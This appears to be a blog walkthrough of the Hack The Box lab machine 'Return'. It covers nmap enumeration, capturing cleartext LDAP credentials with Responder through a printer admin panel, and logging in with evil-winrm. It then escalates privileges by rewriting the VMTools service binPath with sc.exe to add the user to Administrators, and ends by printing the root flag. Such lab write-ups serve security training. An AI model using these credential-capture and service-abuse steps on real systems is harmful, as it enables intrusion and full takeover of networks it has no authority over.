Return is an easy-difficulty Windows machine that includes a network printer administration panel storing LDAP credentials. By supplying a malicious LDAP server, these credentials can be intercepted, enabling a foothold on the system. This access is leveraged to connect over the WinRM service. The compromised user is identified as a member of a privilege group, which is further exploited to escalate privileges and obtain full system access.
Intro
| Name | Return |
|---|---|
| Difficulty | Easy |
| OS | Windows |
Enumeration
Nmap Scan
┌─[HTB][robin@parrot]─[~/Documents/labs/standalone/return]
└──╼ [★]$ mkdir nmap && nmap -sC -sV -Pn -oN nmap/return_initial 10.129.7.171 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-10 13:28 CEST
Nmap scan report for 10.129.7.171
Host is up (0.017s latency).
Not shown: 988 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: HTB Printer Admin Panel
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-10 11:47:29Z)
135/tcp open msrpcMicrosoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-10-10T11:47:34
|_ start_date: N/A
|_clock-skew: 18m34sWebsite
Looking at each single port, the one standing out for easy enumeration is the website on port 80. It displays a printing interface which appears to connect to a user given IP.
Initial Access
Capturing NTLM Hash
Running the prompt with our IP attackers machine address and catching it with responder reveals cleartext credentials.
┌─[HTB][robin@parrot]─[~/Documents/labs/standalone/return]
└──╼ [★]$ sudo responder -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
[+] Listening for events...
[LDAP] Cleartext Client : 10.129.7.171
[LDAP] Cleartext Username : return\svc-printer
[LDAP] Cleartext Password : 1edFg43012!!
System Enumeration
Logging in and enumerating privileges, we can see that the user is part of the Server Operator Group
*Evil-WinRM* PS C:\Windows\Temp\PE> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators Alias S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
Privilege Escalation
While this group membership is not inherently a vulnerability, it provides extended privileges over server management tasks, including the ability to modify and restart services, an avenue that can be abused for privilege escalation.
The tester enumerated running services and identified the VMTools service, which had a writable binary path. Exploiting this misconfiguration, the tester reconfigured the service to execute a malicious payload that added svc-printer to the local Administrators group.
Sidenote:
We could also call a Metasploit reverse shell instead of adding the local group to admin, as the service is executed as nt autority\system. That way we could gain a higher shell if needed for further exploitation.
*Evil-WinRM* PS C:\Users\Temp\PE> services Path Privileges Service
---- ---------- -------
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe True ADWS C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe True aspnet_state C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe True PerfHost "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe" False Sense C:\Windows\servicing\TrustedInstaller.exe False TrustedInstaller "C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe" True VGAuthService C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" True VMTools "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2209.7-0\NisSrv.exe" True WdNisSvc "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2209.7-0\MsMpEng.exe" True WinDefend
*Evil-WinRM* PS C:\Windows\Temp\PE> sc.exe config VMTools binPath= 'cmd /c net localgroup administrators svc-printer /add'
[SC] ChangeServiceConfig SUCCESS
*Evil-WinRM* PS C:\Windows\Temp\PE> sc.exe stop VMTOols
SERVICE_NAME: VMTOols
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT: 0x0
WAIT_HINT : 0x0
*Evil-WinRM* PS C:\Windows\Temp\PE> sc.exe start VMTools
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
*Evil-WinRM* PS C:\Windows\Temp\PE> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
svc-printer
The command completed successfully. After restarting the session the user it part of he local admin group and can fetch the root.txt from administrator.
┌─[HTB][robin@parrot]─[~/Documents/labs/standalone/return]
└──╼ [★]$ evil-winrm -i 10.129.7.171 -u svc-printer -p '1edFg43012!!'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeMachineAccountPrivilege Add workstations to domain Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
*Evil-WinRM* PS C:\Users\svc-printer\Documents> type ../../Administrator/Desktop/root.txt
929af09547cbddee5b3b9ec2908d88a7
Schreibe einen Kommentar